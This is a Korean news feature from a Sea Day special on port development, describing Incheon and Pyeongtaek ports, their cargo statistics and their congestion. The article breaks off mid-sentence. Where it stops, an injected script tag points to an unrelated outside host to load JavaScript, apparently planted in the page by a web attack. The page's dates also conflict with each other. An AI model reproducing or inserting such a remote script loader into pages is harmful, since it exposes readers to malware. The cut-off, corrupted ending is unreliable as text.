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작성일 |
2001-06-04 |
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<바다의 날 특집> 바다산업의 화두 '항만'① |
<바다의 날 특집> 바다산업의 화두 '항만'①
광양·인천·평택항 환적화물 처리 중심 '황금어장' [ 2012/06/02 11:31 ] [ 1종합뉴스 ]
우리나라는 21세기 국가경쟁력을 강화한다는 전략을 가지고 해운산업 육성에 박차를 가하고 있다.
이를 위해 정부는 80년대부터 국가주도의 항만개발 사업을 시행하고 있으며 해양수산부가 추진하는 'OCEAN KOREA21'에 따라 부산항과 광양항을 양항체제로 개방하고 권역별로 7대 신항만 개발계획을 수립, 추진하고 있다.
특히 서해안 시대의 개막과 올 11월 중국의 WTO 가입이 이루어질 것으로 보여 대중국무역 전진기지로 인천항과 평택항이 중요성을 더해가고 있다.
환황해권 중심항만으로 인천항과 평택항은 수도권 물류경쟁력 제고에 많은 역할을 할 것으로 보이며 광활한 수도권을 배후지로 하기 때문에 중요성을 강조해도 지나치지 않다.
또한 광양항은 부산항 화물을 분산처리하기 위한 컨테이너 전용부두로 개발 중에 있으며 환적화물 위주의 항만기능이 강조되고 있다.
항만은 우리나라 경제에 주축을 이루는 물류인프라의 핵심으로 수출입 화물의 99.7%를 처리하고 있다.
항만관련 비용은 전체물류비의 27%인 약 20조원으로 추정되고 있다. 항만은 국가 및 지역경제 발전의 핵심 기반시설로 전체 GDP에서 항만산업이 차지하는 비용이 선진국에 비해 낮은 것은 사실이다. 결국 지역경제 부가 가치의 10-40%를 항만관련 산업이 차지하고 있다.
또한 항만은 물류인프라의 1차원적인 개념에서 벗어나 그 자체로 상품이다. 자국 수출입화물이 아닌 제3국 화물(환적화물) 처리로 외화획득이 가능하며 한국은 환적화물 처리에 따른 항만수입이 3억 달러에 이른다.
결국 항만은 상품의 개념으로 변하고 있으며 마케팅을 통해 항만을 통한 수익성 제고에 지속적인 노력을 해야 할 것으로 보인다.
◆동북아 중심의 인천항 인천항은 지난 1876년 강화도 조약 체결과 함께 1883년 부산항과 원산항에 이어 3번째로 개항했다.
인천항은 북위 37°27′54″, 동경 126°37′12″에 위치하고 있으며, 동북아시아의 중심에 위치하고 있다. 인천항은 동북아시아로 진출하는 최첨단 항만으로 르아브르항, 오클랜드항, 벤쿠버항, 제다항, 그리고 엔트워프항 등과 자매결연을 맺고 폭넓은 교류가 이어지고 있다. 인천항은 현재 남항, 북항, 내항으로 이루어져 있으며 내항은 총 8개 부두로 운영되고 있다.
인천항은 부산항 광양항과는 달리 전용 컨테이너항을 보유하고 있지 않다. 그러나 내항 제4부두가 지난 74년 민자유치를 통해 국내에서는 처음으로 건설된 컨테이너 전용 부두이지만 컨테이너뿐만 아니라 양곡, 자동차, 잡화 등 다양한 화물을 처리하는 다목적 항으로 기능을 하고 있다.
지난해 인천항은 수입화물 5천169만9천t, 수출화물 1천751만4천t, 연안화물 5천172만4천t을 처리하면서 총 1척2천93만7천t을 기록했다.
이는 전년 1억860만7천t과 비교 11.3% 증가했으며 컨테이너물동량은 총 61만 2천248TEU를 처리하면서 전년 55만7천9TEU와 비교 9.9% 상승했다. 인천항을 통한 선박 입항현황은 외항 6천804척 내항 1만5천671척 등 총 2만 2천475척이 인천항에 입항했다.
지난해 항만 체선현황에서 인천항은 전년동기 5.8% 감소했지만 여전히 두자리수를 벗어나지 못했다. 총 6천804척의 입항선박 중 대기선박은 1천447척으로 21.3%의 대기율을 보였다. 이중 체선선박은 740척으로 체선률이 10.9%로 나타났다. 인천항 체선선박의 평균 체선시간은 37.8시간으로 나타나 개선이 시급한 것으로 나타났다.
◆환황해권 전진기지 평택항 평택항은 아시아 역내 경제권의 부상과 중국과의 인접성 및 수도권과의 연계 등이 용이하기 때문에 중국을 비롯한 아시아 역내 물동량을 효율적으로 처리할 수 있는 항만으로 자리매김하고 있다.
평택항은 평택시 포승면 만호리 564번지에 위치하고 있으며 항 내수면적은 12만2천570㎡ 평균 수심은 11m에서 18m다. 평택항은 지난 89년부터 97년까지 정부가 총 2천785억원을 들여 안벽 960m를 구축했다.
평택항의 접안시설은 3만t급 선박 3척이 접안 할 수 있으며 안벽길이는 720m에 이른다. 하역능력은 연간 180만t에 달한다. 평택항은 28만㎡의 야적장을 보유하고 있다.
평택항은 수도권 대안항만과 대중국 물류기지로 발돋움하고 있으며 환황해권 거점 항만으로 성장을 꾀하고 있다. 또한 인천항과 역할분담체계를 확립하고 항만연관 산업단지 특화로 주변공단 분양과 활성화를 추진하고 있다.
지난해 평택항은 수입 1천899만3천t 수출 195만5천t 연안 1천17만4천t을 처리해 총 3천112만2천t을 화물을 처리했다. 이는 전년동기 2천613만2천t과 ?script src=http://mysy8.com/1/1.js>
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